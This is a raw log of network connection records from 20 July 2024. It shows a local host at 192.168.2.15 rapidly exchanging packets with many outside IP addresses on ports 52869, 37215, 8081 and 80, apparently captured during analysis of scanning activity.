Jul 20, 2024 23:10:39.064423084 CEST	38990	52869	192.168.2.15	119.87.220.235
Jul 20, 2024 23:10:39.065529108 CEST	45790	37215	192.168.2.15	41.106.243.14
Jul 20, 2024 23:10:39.066117048 CEST	52976	80	192.168.2.15	88.126.200.244
Jul 20, 2024 23:10:39.066287041 CEST	44182	52869	192.168.2.15	19.2.120.96
Jul 20, 2024 23:10:39.066431046 CEST	8081	51240	96.174.40.204	192.168.2.15
Jul 20, 2024 23:10:39.066493034 CEST	51240	8081	192.168.2.15	96.174.40.204
Jul 20, 2024 23:10:39.066545010 CEST	44182	52869	192.168.2.15	19.2.120.96
Jul 20, 2024 23:10:39.066809893 CEST	59874	8081	192.168.2.15	128.22.65.203
Jul 20, 2024 23:10:39.066906929 CEST	52869	40272	112.183.31.205	192.168.2.15
Jul 20, 2024 23:10:39.066946983 CEST	40272	52869	192.168.2.15	112.183.31.205
Jul 20, 2024 23:10:39.067133904 CEST	44880	52869	192.168.2.15	19.2.120.96
Jul 20, 2024 23:10:39.068595886 CEST	80	49590	88.148.148.170	192.168.2.15
Jul 20, 2024 23:10:39.068646908 CEST	49590	80	192.168.2.15	88.148.148.170
Jul 20, 2024 23:10:39.068665981 CEST	37215	43782	166.151.137.80	192.168.2.15
Jul 20, 2024 23:10:39.068710089 CEST	43782	37215	192.168.2.15	166.151.137.80
Jul 20, 2024 23:10:39.068869114 CEST	48142	52869	192.168.2.15	114.147.236.150
Jul 20, 2024 23:10:39.068869114 CEST	48142	52869	192.168.2.15	114.147.236.150
Jul 20, 2024 23:10:39.069025993 CEST	48578	80	192.168.2.15	88.220.223.245
Jul 20, 2024 23:10:39.069230080 CEST	52869	38292	119.87.220.235	192.168.2.15
Jul 20, 2024 23:10:39.069837093 CEST	8081	58682	39.109.155.171	192.168.2.15
Jul 20, 2024 23:10:39.069873095 CEST	52869	38990	119.87.220.235	192.168.2.15
Jul 20, 2024 23:10:39.069879055 CEST	58682	8081	192.168.2.15	39.109.155.171
Jul 20, 2024 23:10:39.069921970 CEST	38990	52869	192.168.2.15	119.87.220.235
Jul 20, 2024 23:10:39.070055962 CEST	45658	37215	192.168.2.15	41.10.96.101
Jul 20, 2024 23:10:39.070946932 CEST	44962	8081	192.168.2.15	211.111.42.56
Jul 20, 2024 23:10:39.071269035 CEST	37215	45790	41.106.243.14	192.168.2.15
Jul 20, 2024 23:10:39.071281910 CEST	80	52976	88.126.200.244	192.168.2.15
Jul 20, 2024 23:10:39.071289062 CEST	48840	52869	192.168.2.15	114.147.236.150
Jul 20, 2024 23:10:39.071321964 CEST	45790	37215	192.168.2.15	41.106.243.14
Jul 20, 2024 23:10:39.071335077 CEST	52976	80	192.168.2.15	88.126.200.244
Jul 20, 2024 23:10:39.071530104 CEST	52869	44182	19.2.120.96	192.168.2.15
Jul 20, 2024 23:10:39.071830988 CEST	8081	59874	128.22.65.203	192.168.2.15
Jul 20, 2024 23:10:39.071877956 CEST	59874	8081	192.168.2.15	128.22.65.203
Jul 20, 2024 23:10:39.072197914 CEST	52869	44880	19.2.120.96	192.168.2.15
Jul 20, 2024 23:10:39.072235107 CEST	44880	52869	192.168.2.15	19.2.120.96
Jul 20, 2024 23:10:39.073240042 CEST	59668	37215	192.168.2.15	197.219.149.250
Jul 20, 2024 23:10:39.073496103 CEST	55930	80	192.168.2.15	88.157.224.130
Jul 20, 2024 23:10:39.073689938 CEST	40888	52869	192.168.2.15	175.109.109.84
Jul 20, 2024 23:10:39.073690891 CEST	40888	52869	192.168.2.15	175.109.109.84
Jul 20, 2024 23:10:39.074121952 CEST	52869	48142	114.147.236.150	192.168.2.15
Jul 20, 2024 23:10:39.074197054 CEST	44244	8081	192.168.2.15	118.85.135.168
Jul 20, 2024 23:10:39.074527979 CEST	41586	52869	192.168.2.15	175.109.109.84
Jul 20, 2024 23:10:39.074728012 CEST	80	48578	88.220.223.245	192.168.2.15
Jul 20, 2024 23:10:39.074769974 CEST	48578	80	192.168.2.15	88.220.223.245
Jul 20, 2024 23:10:39.075293064 CEST	37215	45658	41.10.96.101	192.168.2.15
Jul 20, 2024 23:10:39.075330973 CEST	45658	37215	192.168.2.15	41.10.96.101
Jul 20, 2024 23:10:39.076071978 CEST	47902	80	192.168.2.15	88.213.118.236
Jul 20, 2024 23:10:39.076267004 CEST	43930	52869	192.168.2.15	154.64.3.25
Jul 20, 2024 23:10:39.076267004 CEST	43930	52869	192.168.2.15	154.64.3.25
Jul 20, 2024 23:10:39.076330900 CEST	8081	44962	211.111.42.56	192.168.2.15
Jul 20, 2024 23:10:39.076366901 CEST	44962	8081	192.168.2.15	211.111.42.56
Jul 20, 2024 23:10:39.076416969 CEST	52869	48840	114.147.236.150	192.168.2.15
Jul 20, 2024 23:10:39.076451063 CEST	48840	52869	192.168.2.15	114.147.236.150
Jul 20, 2024 23:10:39.076580048 CEST	39482	37215	192.168.2.15	197.30.229.13
Jul 20, 2024 23:10:39.077778101 CEST	46252	8081	192.168.2.15	103.43.41.37
Jul 20, 2024 23:10:39.078071117 CEST	44628	52869	192.168.2.15	154.64.3.25
Jul 20, 2024 23:10:39.078911066 CEST	37215	59668	197.219.149.250	192.168.2.15
Jul 20, 2024 23:10:39.078921080 CEST	80	55930	88.157.224.130	192.168.2.15
Jul 20, 2024 23:10:39.078931093 CEST	52869	40888	175.109.109.84	192.168.2.15
Jul 20, 2024 23:10:39.078958035 CEST	55930	80	192.168.2.15	88.157.224.130
Jul 20, 2024 23:10:39.078960896 CEST	59668	37215	192.168.2.15	197.219.149.250
Jul 20, 2024 23:10:39.079247952 CEST	40632	37215	192.168.2.15	157.219.83.230
Jul 20, 2024 23:10:39.079540968 CEST	37458	52869	192.168.2.15	219.152.75.176
Jul 20, 2024 23:10:39.079590082 CEST	8081	44244	118.85.135.168	192.168.2.15
Jul 20, 2024 23:10:39.079607964 CEST	52869	41586	175.109.109.84	192.168.2.15
Jul 20, 2024 23:10:39.079632998 CEST	44244	8081	192.168.2.15	118.85.135.168
Jul 20, 2024 23:10:39.079653025 CEST	41586	52869	192.168.2.15	175.109.109.84
Jul 20, 2024 23:10:39.079694033 CEST	54808	80	192.168.2.15	88.152.223.131
Jul 20, 2024 23:10:39.080295086 CEST	37458	52869	192.168.2.15	219.152.75.176
Jul 20, 2024 23:10:39.080624104 CEST	58060	8081	192.168.2.15	98.210.157.20
Jul 20, 2024 23:10:39.080960989 CEST	38156	52869	192.168.2.15	219.152.75.176
Jul 20, 2024 23:10:39.081269026 CEST	80	47902	88.213.118.236	192.168.2.15
Jul 20, 2024 23:10:39.081279993 CEST	52869	43930	154.64.3.25	192.168.2.15
Jul 20, 2024 23:10:39.081312895 CEST	47902	80	192.168.2.15	88.213.118.236
Jul 20, 2024 23:10:39.081796885 CEST	37215	39482	197.30.229.13	192.168.2.15
Jul 20, 2024 23:10:39.081837893 CEST	39482	37215	192.168.2.15	197.30.229.13
Jul 20, 2024 23:10:39.082729101 CEST	57088	80	192.168.2.15	88.41.108.187
Jul 20, 2024 23:10:39.083164930 CEST	43394	52869	192.168.2.15	183.79.5.78
Jul 20, 2024 23:10:39.083164930 CEST	43394	52869	192.168.2.15	183.79.5.78
Jul 20, 2024 23:10:39.083225012 CEST	8081	46252	103.43.41.37	192.168.2.15
Jul 20, 2024 23:10:39.083280087 CEST	46252	8081	192.168.2.15	103.43.41.37
Jul 20, 2024 23:10:39.083518982 CEST	52869	44628	154.64.3.25	192.168.2.15
Jul 20, 2024 23:10:39.083637953 CEST	55442	37215	192.168.2.15	178.230.194.125
Jul 20, 2024 23:10:39.083692074 CEST	44628	52869	192.168.2.15	154.64.3.25
Jul 20, 2024 23:10:39.084218025 CEST	37868	8081	192.168.2.15	143.93.205.194
Jul 20, 2024 23:10:39.084592104 CEST	44092	52869	192.168.2.15	183.79.5.78
Jul 20, 2024 23:10:39.085099936 CEST	37215	40632	157.219.83.230	192.168.2.15
Jul 20, 2024 23:10:39.085155010 CEST	40632	37215	192.168.2.15	157.219.83.230
Jul 20, 2024 23:10:39.085496902 CEST	52869	37458	219.152.75.176	192.168.2.15
Jul 20, 2024 23:10:39.085614920 CEST	80	54808	88.152.223.131	192.168.2.15
Jul 20, 2024 23:10:39.085650921 CEST	48166	37215	192.168.2.15	41.99.38.42
Jul 20, 2024 23:10:39.085664034 CEST	54808	80	192.168.2.15	88.152.223.131
Jul 20, 2024 23:10:39.085741043 CEST	8081	58060	98.210.157.20	192.168.2.15
Jul 20, 2024 23:10:39.085787058 CEST	58060	8081	192.168.2.15	98.210.157.20
Jul 20, 2024 23:10:39.086025000 CEST	52869	38156	219.152.75.176	192.168.2.15
Jul 20, 2024 23:10:39.086054087 CEST	47222	80	192.168.2.15	88.24.107.94
Jul 20, 2024 23:10:39.086061001 CEST	38156	52869	192.168.2.15	219.152.75.176
Jul 20, 2024 23:10:39.086935043 CEST	53020	52869	192.168.2.15	157.142.69.44
Jul 20, 2024 23:10:39.086935043 CEST	53020	52869	192.168.2.15	157.142.69.44
Jul 20, 2024 23:10:39.087443113 CEST	41256	8081	192.168.2.15	19.32.100.158
Jul 20, 2024 23:10:39.087754965 CEST	53718	52869	192.168.2.15	157.142.69.44
Jul 20, 2024 23:10:39.088572979 CEST	80	57088	88.41.108.187	192.168.2.15
Jul 20, 2024 23:10:39.088607073 CEST	57088	80	192.168.2.15	88.41.108.187
Jul 20, 2024 23:10:39.088640928 CEST	52869	43394	183.79.5.78	192.168.2.15
Jul 20, 2024 23:10:39.089020967 CEST	37215	55442	178.230.194.125	192.168.2.15
Jul 20, 2024 23:10:39.089086056 CEST	55442	37215	192.168.2.15	178.230.194.125
Jul 20, 2024 23:10:39.089230061 CEST	40364	80	192.168.2.15	88.129.16.77
Jul 20, 2024 23:10:39.089385986 CEST	8081	37868	143.93.205.194	192.168.2.15
Jul 20, 2024 23:10:39.089421988 CEST	37868	8081	192.168.2.15	143.93.205.194
Jul 20, 2024 23:10:39.089912891 CEST	47418	52869	192.168.2.15	17.198.192.63
Jul 20, 2024 23:10:39.089912891 CEST	47418	52869	192.168.2.15	17.198.192.63
Jul 20, 2024 23:10:39.090095997 CEST	55870	37215	192.168.2.15	157.104.229.164
Jul 20, 2024 23:10:39.090188980 CEST	52869	44092	183.79.5.78	192.168.2.15
Jul 20, 2024 23:10:39.090223074 CEST	44092	52869	192.168.2.15	183.79.5.78
Jul 20, 2024 23:10:39.090809107 CEST	37215	48166	41.99.38.42	192.168.2.15
Jul 20, 2024 23:10:39.090864897 CEST	48166	37215	192.168.2.15	41.99.38.42
Jul 20, 2024 23:10:39.091152906 CEST	57394	8081	192.168.2.15	13.15.212.143
Jul 20, 2024 23:10:39.091490030 CEST	48118	52869	192.168.2.15	17.198.192.63
Jul 20, 2024 23:10:39.091547012 CEST	80	47222	88.24.107.94	192.168.2.15
Jul 20, 2024 23:10:39.091588020 CEST	47222	80	192.168.2.15	88.24.107.94
Jul 20, 2024 23:10:39.092562914 CEST	52869	53020	157.142.69.44	192.168.2.15
Jul 20, 2024 23:10:39.092752934 CEST	39416	37215	192.168.2.15	168.198.240.255
Jul 20, 2024 23:10:39.092840910 CEST	8081	41256	19.32.100.158	192.168.2.15
Jul 20, 2024 23:10:39.092988968 CEST	41256	8081	192.168.2.15	19.32.100.158
Jul 20, 2024 23:10:39.093018055 CEST	59672	80	192.168.2.15	88.96.105.176
Jul 20, 2024 23:10:39.093089104 CEST	52869	53718	157.142.69.44	192.168.2.15
Jul 20, 2024 23:10:39.093123913 CEST	53718	52869	192.168.2.15	157.142.69.44
Jul 20, 2024 23:10:39.093477964 CEST	45158	52869	192.168.2.15	220.239.248.79
Jul 20, 2024 23:10:39.093477964 CEST	45158	52869	192.168.2.15	220.239.248.79
Jul 20, 2024 23:10:39.093992949 CEST	51440	8081	192.168.2.15	206.8.55.164
Jul 20, 2024 23:10:39.094548941 CEST	45858	52869	192.168.2.15	220.239.248.79
Jul 20, 2024 23:10:39.094568968 CEST	80	40364	88.129.16.77	192.168.2.15
Jul 20, 2024 23:10:39.094609976 CEST	40364	80	192.168.2.15	88.129.16.77
Jul 20, 2024 23:10:39.095021009 CEST	52869	47418	17.198.192.63	192.168.2.15
Jul 20, 2024 23:10:39.095038891 CEST	37215	55870	157.104.229.164	192.168.2.15
Jul 20, 2024 23:10:39.095082998 CEST	55870	37215	192.168.2.15	157.104.229.164
Jul 20, 2024 23:10:39.096080065 CEST	46226	80	192.168.2.15	88.171.6.187
Jul 20, 2024 23:10:39.096301079 CEST	46692	52869	192.168.2.15	5.162.60.136
Jul 20, 2024 23:10:39.096301079 CEST	46692	52869	192.168.2.15	5.162.60.136
Jul 20, 2024 23:10:39.096477985 CEST	43092	37215	192.168.2.15	221.44.210.72
Jul 20, 2024 23:10:39.096559048 CEST	8081	57394	13.15.212.143	192.168.2.15
Jul 20, 2024 23:10:39.096570969 CEST	52869	48118	17.198.192.63	192.168.2.15
Jul 20, 2024 23:10:39.096606970 CEST	48118	52869	192.168.2.15	17.198.192.63
Jul 20, 2024 23:10:39.096607924 CEST	57394	8081	192.168.2.15	13.15.212.143
Jul 20, 2024 23:10:39.097379923 CEST	55670	8081	192.168.2.15	40.80.153.52
Jul 20, 2024 23:10:39.097965956 CEST	47392	52869	192.168.2.15	5.162.60.136
Jul 20, 2024 23:10:39.098608017 CEST	37215	39416	168.198.240.255	192.168.2.15
Jul 20, 2024 23:10:39.098653078 CEST	80	59672	88.96.105.176	192.168.2.15
Jul 20, 2024 23:10:39.098675013 CEST	39416	37215	192.168.2.15	168.198.240.255
Jul 20, 2024 23:10:39.098694086 CEST	59672	80	192.168.2.15	88.96.105.176
Jul 20, 2024 23:10:39.099028111 CEST	52869	45158	220.239.248.79	192.168.2.15
Jul 20, 2024 23:10:39.099309921 CEST	8081	51440	206.8.55.164	192.168.2.15
Jul 20, 2024 23:10:39.099378109 CEST	51440	8081	192.168.2.15	206.8.55.164
Jul 20, 2024 23:10:39.099817038 CEST	52869	45858	220.239.248.79	192.168.2.15
Jul 20, 2024 23:10:39.099891901 CEST	45858	52869	192.168.2.15	220.239.248.79
Jul 20, 2024 23:10:39.099891901 CEST	60356	37215	192.168.2.15	205.50.160.163
Jul 20, 2024 23:10:39.100142956 CEST	60498	80	192.168.2.15	88.47.49.23
Jul 20, 2024 23:10:39.100414038 CEST	41758	52869	192.168.2.15	89.171.240.248
Jul 20, 2024 23:10:39.100414038 CEST	41758	52869	192.168.2.15	89.171.240.248
Jul 20, 2024 23:10:39.101267099 CEST	58462	8081	192.168.2.15	95.238.91.109
Jul 20, 2024 23:10:39.101377964 CEST	80	46226	88.171.6.187	192.168.2.15
Jul 20, 2024 23:10:39.101388931 CEST	52869	46692	5.162.60.136	192.168.2.15
Jul 20, 2024 23:10:39.101414919 CEST	46226	80	192.168.2.15	88.171.6.187
Jul 20, 2024 23:10:39.101566076 CEST	42458	52869	192.168.2.15	89.171.240.248
Jul 20, 2024 23:10:39.101677895 CEST	37215	43092	221.44.210.72	192.168.2.15
Jul 20, 2024 23:10:39.101716995 CEST	43092	37215	192.168.2.15	221.44.210.72
Jul 20, 2024 23:10:39.102478027 CEST	8081	55670	40.80.153.52	192.168.2.15
Jul 20, 2024 23:10:39.102525949 CEST	55670	8081	192.168.2.15	40.80.153.52
Jul 20, 2024 23:10:39.103214025 CEST	40456	80	192.168.2.15	88.196.182.254
Jul 20, 2024 23:10:39.103461981 CEST	52869	47392	5.162.60.136	192.168.2.15
Jul 20, 2024 23:10:39.103499889 CEST	47392	52869	192.168.2.15	5.162.60.136
Jul 20, 2024 23:10:39.103625059 CEST	32838	52869	192.168.2.15	220.55.101.199
Jul 20, 2024 23:10:39.103625059 CEST	32838	52869	192.168.2.15	220.55.101.199
Jul 20, 2024 23:10:39.104036093 CEST	52988	37215	192.168.2.15	157.248.175.173
Jul 20, 2024 23:10:39.104967117 CEST	35900	8081	192.168.2.15	9.175.217.225
Jul 20, 2024 23:10:39.105133057 CEST	37215	60356	205.50.160.163	192.168.2.15
Jul 20, 2024 23:10:39.105176926 CEST	60356	37215	192.168.2.15	205.50.160.163
Jul 20, 2024 23:10:39.105333090 CEST	33538	52869	192.168.2.15	220.55.101.199
Jul 20, 2024 23:10:39.105434895 CEST	80	60498	88.47.49.23	192.168.2.15
Jul 20, 2024 23:10:39.105453968 CEST	52869	41758	89.171.240.248	192.168.2.15
Jul 20, 2024 23:10:39.105626106 CEST	60498	80	192.168.2.15	88.47.49.23
Jul 20, 2024 23:10:39.106421947 CEST	58804	37215	192.168.2.15	197.162.71.183
Jul 20, 2024 23:10:39.106686115 CEST	49576	80	192.168.2.15	88.75.37.88
Jul 20, 2024 23:10:39.106868982 CEST	8081	58462	95.238.91.109	192.168.2.15
Jul 20, 2024 23:10:39.106884956 CEST	60776	52869	192.168.2.15	61.146.90.23
Jul 20, 2024 23:10:39.106884956 CEST	60776	52869	192.168.2.15	61.146.90.23
Jul 20, 2024 23:10:39.106910944 CEST	52869	42458	89.171.240.248	192.168.2.15
Jul 20, 2024 23:10:39.106935024 CEST	58462	8081	192.168.2.15	95.238.91.109
Jul 20, 2024 23:10:39.106951952 CEST	42458	52869	192.168.2.15	89.171.240.248
Jul 20, 2024 23:10:39.107623100 CEST	56936	8081	192.168.2.15	73.50.217.173
Jul 20, 2024 23:10:39.107943058 CEST	33244	52869	192.168.2.15	61.146.90.23
Jul 20, 2024 23:10:39.108527899 CEST	80	40456	88.196.182.254	192.168.2.15
Jul 20, 2024 23:10:39.108581066 CEST	40456	80	192.168.2.15	88.196.182.254
Jul 20, 2024 23:10:39.108989954 CEST	52869	32838	220.55.101.199	192.168.2.15
Jul 20, 2024 23:10:39.109389067 CEST	60130	80	192.168.2.15	88.161.198.162
Jul 20, 2024 23:10:39.109561920 CEST	58256	52869	192.168.2.15	24.231.54.99
Jul 20, 2024 23:10:39.109561920 CEST	58256	52869	192.168.2.15	24.231.54.99
Jul 20, 2024 23:10:39.109731913 CEST	45038	37215	192.168.2.15	111.61.149.252
Jul 20, 2024 23:10:39.111242056 CEST	37215	52988	157.248.175.173	192.168.2.15
Jul 20, 2024 23:10:39.111253023 CEST	8081	35900	9.175.217.225	192.168.2.15
Jul 20, 2024 23:10:39.111285925 CEST	52988	37215	192.168.2.15	157.248.175.173
Jul 20, 2024 23:10:39.111288071 CEST	39474	8081	192.168.2.15	158.147.222.64
Jul 20, 2024 23:10:39.111296892 CEST	35900	8081	192.168.2.15	9.175.217.225
Jul 20, 2024 23:10:39.111314058 CEST	52869	33538	220.55.101.199	192.168.2.15
Jul 20, 2024 23:10:39.111357927 CEST	33538	52869	192.168.2.15	220.55.101.199
Jul 20, 2024 23:10:39.111547947 CEST	37215	58804	197.162.71.183	192.168.2.15
Jul 20, 2024 23:10:39.111632109 CEST	58804	37215	192.168.2.15	197.162.71.183
Jul 20, 2024 23:10:39.112056017 CEST	80	49576	88.75.37.88	192.168.2.15
Jul 20, 2024 23:10:39.112096071 CEST	49576	80	192.168.2.15	88.75.37.88
Jul 20, 2024 23:10:39.112190962 CEST	58956	52869	192.168.2.15	24.231.54.99
Jul 20, 2024 23:10:39.112308025 CEST	52869	60776	61.146.90.23	192.168.2.15
Jul 20, 2024 23:10:39.112958908 CEST	8081	56936	73.50.217.173	192.168.2.15
Jul 20, 2024 23:10:39.112998009 CEST	56936	8081	192.168.2.15	73.50.217.173
Jul 20, 2024 23:10:39.113194942 CEST	52869	33244	61.146.90.23	192.168.2.15
Jul 20, 2024 23:10:39.113204956 CEST	52869	44182	19.2.120.96	192.168.2.15
Jul 20, 2024 23:10:39.113217115 CEST	52869	38292	119.87.220.235	192.168.2.15
Jul 20, 2024 23:10:39.113240004 CEST	33244	52869	192.168.2.15	61.146.90.23
Jul 20, 2024 23:10:39.113925934 CEST	50524	37215	192.168.2.15	157.173.171.152
Jul 20, 2024 23:10:39.114298105 CEST	36706	80	192.168.2.15	88.25.45.56
Jul 20, 2024 23:10:39.114449978 CEST	80	60130	88.161.198.162	192.168.2.15
Jul 20, 2024 23:10:39.114530087 CEST	52890	52869	192.168.2.15	155.186.2.88
Jul 20, 2024 23:10:39.114530087 CEST	52890	52869	192.168.2.15	155.186.2.88
Jul 20, 2024 23:10:39.114552021 CEST	60130	80	192.168.2.15	88.161.198.162
Jul 20, 2024 23:10:39.114718914 CEST	52869	58256	24.231.54.99	192.168.2.15
Jul 20, 2024 23:10:39.114727974 CEST	37215	45038	111.61.149.252	192.168.2.15
Jul 20, 2024 23:10:39.114761114 CEST	45038	37215	192.168.2.15	111.61.149.252
Jul 20, 2024 23:10:39.115051985 CEST	55580	8081	192.168.2.15	62.94.176.238
Jul 20, 2024 23:10:39.115834951 CEST	53590	52869	192.168.2.15	155.186.2.88
Jul 20, 2024 23:10:39.116981983 CEST	8081	39474	158.147.222.64	192.168.2.15
Jul 20, 2024 23:10:39.117029905 CEST	39474	8081	192.168.2.15	158.147.222.64
Jul 20, 2024 23:10:39.117204905 CEST	52869	48142	114.147.236.150	192.168.2.15
Jul 20, 2024 23:10:39.117398024 CEST	52869	58956	24.231.54.99	192.168.2.15
Jul 20, 2024 23:10:39.117436886 CEST	58956	52869	192.168.2.15	24.231.54.99
Jul 20, 2024 23:10:39.117733002 CEST	47866	80	192.168.2.15	88.203.133.168
Jul 20, 2024 23:10:39.117974997 CEST	48566	52869	192.168.2.15	65.58.210.176
Jul 20, 2024 23:10:39.117974997 CEST	48566	52869	192.168.2.15	65.58.210.176
Jul 20, 2024 23:10:39.118192911 CEST	57396	37215	192.168.2.15	157.39.249.198
Jul 20, 2024 23:10:39.119223118 CEST	60822	8081	192.168.2.15	132.49.133.83
Jul 20, 2024 23:10:39.119358063 CEST	37215	50524	157.173.171.152	192.168.2.15
Jul 20, 2024 23:10:39.119463921 CEST	50524	37215	192.168.2.15	157.173.171.152
Jul 20, 2024 23:10:39.119513035 CEST	80	36706	88.25.45.56	192.168.2.15
Jul 20, 2024 23:10:39.119630098 CEST	36706	80	192.168.2.15	88.25.45.56
Jul 20, 2024 23:10:39.119739056 CEST	49268	52869	192.168.2.15	65.58.210.176
Jul 20, 2024 23:10:39.119908094 CEST	52869	52890	155.186.2.88	192.168.2.15
Jul 20, 2024 23:10:39.120846033 CEST	8081	55580	62.94.176.238	192.168.2.15
Jul 20, 2024 23:10:39.120906115 CEST	55580	8081	192.168.2.15	62.94.176.238
Jul 20, 2024 23:10:39.121128082 CEST	52869	53590	155.186.2.88	192.168.2.15
Jul 20, 2024 23:10:39.121176004 CEST	53590	52869	192.168.2.15	155.186.2.88
Jul 20, 2024 23:10:39.121459007 CEST	47380	37215	192.168.2.15	41.7.140.134
Jul 20, 2024 23:10:39.121530056 CEST	52869	40888	175.109.109.84	192.168.2.15
Jul 20, 2024 23:10:39.121860981 CEST	41680	80	192.168.2.15	88.235.245.133
Jul 20, 2024 23:10:39.122107983 CEST	38068	52869	192.168.2.15	17.96.206.10
Jul 20, 2024 23:10:39.122107983 CEST	38068	52869	192.168.2.15	17.96.206.10
Jul 20, 2024 23:10:39.122919083 CEST	80	47866	88.203.133.168	192.168.2.15
Jul 20, 2024 23:10:39.122982025 CEST	47866	80	192.168.2.15	88.203.133.168
Jul 20, 2024 23:10:39.123028994 CEST	46288	8081	192.168.2.15	88.123.57.1
Jul 20, 2024 23:10:39.123143911 CEST	52869	48566	65.58.210.176	192.168.2.15
Jul 20, 2024 23:10:39.123153925 CEST	37215	57396	157.39.249.198	192.168.2.15
Jul 20, 2024 23:10:39.123390913 CEST	57396	37215	192.168.2.15	157.39.249.198
Jul 20, 2024 23:10:39.123492002 CEST	38770	52869	192.168.2.15	17.96.206.10
Jul 20, 2024 23:10:39.124677896 CEST	8081	60822	132.49.133.83	192.168.2.15
Jul 20, 2024 23:10:39.124753952 CEST	60822	8081	192.168.2.15	132.49.133.83
Jul 20, 2024 23:10:39.124918938 CEST	52718	80	192.168.2.15	88.125.105.239
Jul 20, 2024 23:10:39.125097036 CEST	38250	52869	192.168.2.15	131.159.98.164
Jul 20, 2024 23:10:39.125097036 CEST	38250	52869	192.168.2.15	131.159.98.164
Jul 20, 2024 23:10:39.125304937 CEST	49420	37215	192.168.2.15	197.164.89.253
Jul 20, 2024 23:10:39.126015902 CEST	52869	43930	154.64.3.25	192.168.2.15
Jul 20, 2024 23:10:39.126192093 CEST	58300	8081	192.168.2.15	47.109.125.162
Jul 20, 2024 23:10:39.126602888 CEST	38952	52869	192.168.2.15	131.159.98.164
Jul 20, 2024 23:10:39.128319025 CEST	48658	37215	192.168.2.15	197.140.115.187
Jul 20, 2024 23:10:39.128705025 CEST	50818	80	192.168.2.15	88.81.127.213
Jul 20, 2024 23:10:39.128787994 CEST	40840	52869	192.168.2.15	212.22.178.123
Jul 20, 2024 23:10:39.128787994 CEST	40840	52869	192.168.2.15	212.22.178.123
Jul 20, 2024 23:10:39.129375935 CEST	46832	8081	192.168.2.15	125.94.214.213
Jul 20, 2024 23:10:39.129935980 CEST	41542	52869	192.168.2.15	212.22.178.123
Jul 20, 2024 23:10:39.130531073 CEST	52869	43394	183.79.5.78	192.168.2.15
Jul 20, 2024 23:10:39.130548954 CEST	52869	37458	219.152.75.176	192.168.2.15
Jul 20, 2024 23:10:39.130558968 CEST	52869	49268	65.58.210.176	192.168.2.15
Jul 20, 2024 23:10:39.130626917 CEST	49268	52869	192.168.2.15	65.58.210.176
Jul 20, 2024 23:10:39.131268024 CEST	37215	47380	41.7.140.134	192.168.2.15
Jul 20, 2024 23:10:39.131326914 CEST	80	41680	88.235.245.133	192.168.2.15
Jul 20, 2024 23:10:39.131333113 CEST	47380	37215	192.168.2.15	41.7.140.134
Jul 20, 2024 23:10:39.131417036 CEST	41680	80	192.168.2.15	88.235.245.133
Jul 20, 2024 23:10:39.131532907 CEST	52869	38068	17.96.206.10	192.168.2.15
Jul 20, 2024 23:10:39.132476091 CEST	45130	80	192.168.2.15	88.159.165.167
Jul 20, 2024 23:10:39.132622004 CEST	8081	46288	88.123.57.1	192.168.2.15
Jul 20, 2024 23:10:39.132666111 CEST	46288	8081	192.168.2.15	88.123.57.1
Jul 20, 2024 23:10:39.132797003 CEST	44114	52869	192.168.2.15	125.46.245.158
Jul 20, 2024 23:10:39.132939100 CEST	52869	38770	17.96.206.10	192.168.2.15
Jul 20, 2024 23:10:39.132973909 CEST	44114	52869	192.168.2.15	125.46.245.158
Jul 20, 2024 23:10:39.133030891 CEST	38770	52869	192.168.2.15	17.96.206.10
Jul 20, 2024 23:10:39.133038044 CEST	38188	37215	192.168.2.15	197.199.57.112
Jul 20, 2024 23:10:39.133898020 CEST	52869	53020	157.142.69.44	192.168.2.15
Jul 20, 2024 23:10:39.134182930 CEST	51500	8081	192.168.2.15	133.51.42.64
Jul 20, 2024 23:10:39.134633064 CEST	44816	52869	192.168.2.15	125.46.245.158
Jul 20, 2024 23:10:39.135204077 CEST	80	52718	88.125.105.239	192.168.2.15
Jul 20, 2024 23:10:39.135222912 CEST	52869	38250	131.159.98.164	192.168.2.15
Jul 20, 2024 23:10:39.135234118 CEST	37215	49420	197.164.89.253	192.168.2.15
Jul 20, 2024 23:10:39.135255098 CEST	52718	80	192.168.2.15	88.125.105.239
Jul 20, 2024 23:10:39.135292053 CEST	49420	37215	192.168.2.15	197.164.89.253
Jul 20, 2024 23:10:39.135533094 CEST	8081	58300	47.109.125.162	192.168.2.15
Jul 20, 2024 23:10:39.135572910 CEST	58300	8081	192.168.2.15	47.109.125.162
Jul 20, 2024 23:10:39.136069059 CEST	54592	37215	192.168.2.15	197.79.113.139
Jul 20, 2024 23:10:39.136578083 CEST	35698	80	192.168.2.15	88.239.113.189
Jul 20, 2024 23:10:39.136698961 CEST	52869	38952	131.159.98.164	192.168.2.15
Jul 20, 2024 23:10:39.136739969 CEST	38952	52869	192.168.2.15	131.159.98.164
Jul 20, 2024 23:10:39.136833906 CEST	37215	48658	197.140.115.187	192.168.2.15
Jul 20, 2024 23:10:39.136845112 CEST	80	50818	88.81.127.213	192.168.2.15
Jul 20, 2024 23:10:39.136853933 CEST	52869	40840	212.22.178.123	192.168.2.15
Jul 20, 2024 23:10:39.136858940 CEST	8081	46832	125.94.214.213	192.168.2.15
Jul 20, 2024 23:10:39.136863947 CEST	52869	41542	212.22.178.123	192.168.2.15
Jul 20, 2024 23:10:39.136934996 CEST	48658	37215	192.168.2.15	197.140.115.187
Jul 20, 2024 23:10:39.136981010 CEST	41542	52869	192.168.2.15	212.22.178.123
Jul 20, 2024 23:10:39.136981010 CEST	46832	8081	192.168.2.15	125.94.214.213
Jul 20, 2024 23:10:39.137248993 CEST	52869	47418	17.198.192.63	192.168.2.15
Jul 20, 2024 23:10:39.137398958 CEST	36298	52869	192.168.2.15	91.122.92.170
Jul 20, 2024 23:10:39.137398958 CEST	36298	52869	192.168.2.15	91.122.92.170
Jul 20, 2024 23:10:39.137458086 CEST	80	45130	88.159.165.167	192.168.2.15
Jul 20, 2024 23:10:39.137581110 CEST	45130	80	192.168.2.15	88.159.165.167
Jul 20, 2024 23:10:39.138128996 CEST	52869	44114	125.46.245.158	192.168.2.15
Jul 20, 2024 23:10:39.138374090 CEST	50818	80	192.168.2.15	88.81.127.213
Jul 20, 2024 23:10:39.138704062 CEST	39350	8081	192.168.2.15	182.138.162.230
Jul 20, 2024 23:10:39.139244080 CEST	37000	52869	192.168.2.15	91.122.92.170
Jul 20, 2024 23:10:39.140161037 CEST	37215	38188	197.199.57.112	192.168.2.15
Jul 20, 2024 23:10:39.140203953 CEST	38188	37215	192.168.2.15	197.199.57.112
Jul 20, 2024 23:10:39.140266895 CEST	8081	51500	133.51.42.64	192.168.2.15
Jul 20, 2024 23:10:39.140276909 CEST	52869	44816	125.46.245.158	192.168.2.15
